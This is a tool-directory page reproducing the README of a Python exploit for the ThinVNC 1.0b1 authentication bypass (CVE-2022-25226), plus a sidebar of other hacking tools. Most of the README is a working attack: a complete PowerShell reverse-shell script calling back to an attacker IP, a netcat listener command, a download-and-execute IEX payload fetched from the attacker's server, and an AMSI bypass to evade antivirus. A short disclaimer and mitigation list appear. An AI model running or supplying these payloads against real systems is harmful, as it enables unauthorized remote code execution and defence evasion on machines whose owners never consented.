Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-25226 — Python exploit script for ThinVNC 1.0b1 authentication bypass (CVE-2022-25226) that chains unauthenticated /cmd endpoint access with AMSI bypass and clipboard injection to deliver a reverse shell. | Kitploit
Tools/GitHubGitHub/krill-x7/cve-2022-25226
ExploitationWeb Application ExploitationCommand and ControlAuthenticationLearning & EducationRemote Access ToolPayload Development
GitHubkrill-x7/cve-2022-25226

CVE-2022-25226

Python exploit script for ThinVNC 1.0b1 authentication bypass (CVE-2022-25226) that chains unauthenticated /cmd endpoint access with AMSI bypass and clipboard injection to deliver a reverse shell.

View Repository
1321 year agoNot yet reviewed
Share

ThinVNC 1.0b1 - Authentication Bypass to Remote Code Execution (CVE-2022-25226)

Author: krill-x7
Reference: https://fluidattacks.com/advisories/sinatra


Overview

ThinVNC 1.0b1 contains an authentication bypass vulnerability (CVE-2022-25226) allowing remote attackers to interact with the backend unauthenticated. By leveraging exposed /cmd endpoints, attackers can simulate keystrokes, open PowerShell, bypass AMSI, and execute arbitrary commands—ultimately leading to Remote Code Execution (RCE).

This script chains those primitives to gain a reverse shell on the target system.


Disclaimer

This code is provided for educational purposes only.
Use it only on systems you own or are explicitly authorized to test.


Requirements

  • Python 3
  • rev.ps1 reverse shell script hosted on your attacker machine
  • A listener (e.g., Netcat) to catch the shell

Usage

python3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>

Example

python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000

Payload Setup

1. Create rev.ps1

Save this to a file called rev.ps1.
Important: Replace 192.168.1.200 and 8000 with your attacker's IP and listening port.

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
}
$client.Close()

2. Host rev.ps1

From the same directory:

python3 -m http.server 8000

3. Start a Listener

nc -lvnp 8000

Exploit Workflow

  1. Get a valid SID using unauthenticated request to /cmd?cmd=connect.
  2. Start that SID with keyboard/mouse access via /cmd?cmd=start.
  3. Send Ctrl+Esc key combo to open the Start menu.
  4. Launch PowerShell in bypass mode.
  5. Bypass AMSI to disable PowerShell protections.
  6. Execute the reverse shell payload from your HTTP server.

Payload Execution

This is the payload that gets executed in memory:

IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))

Replace <ATTACKER_IP> and <PORT> with your actual IP and port.


Notes

  • The payload is executed using clipboard-based command injection.
  • AMSI bypass is included to evade PowerShell-based AV detections.
  • ThinVNC runs PowerShell with default user permissions—if running as admin, shell is elevated.

Mitigations

  • Do not expose ThinVNC to the internet.
  • Block /cmd endpoint via web server config or WAF.
  • Switch to supported, secure alternatives (e.g., Apache Guacamole).
  • Monitor PowerShell usage and clipboard injection behavior.

Credits

  • Exploit and automation: krill-x7
  • Vulnerability discovery and advisory: Fluid Attacks – Advisory Sinatra
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    441
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    264

Explore all tools

Browse our collection of tools

View all tools →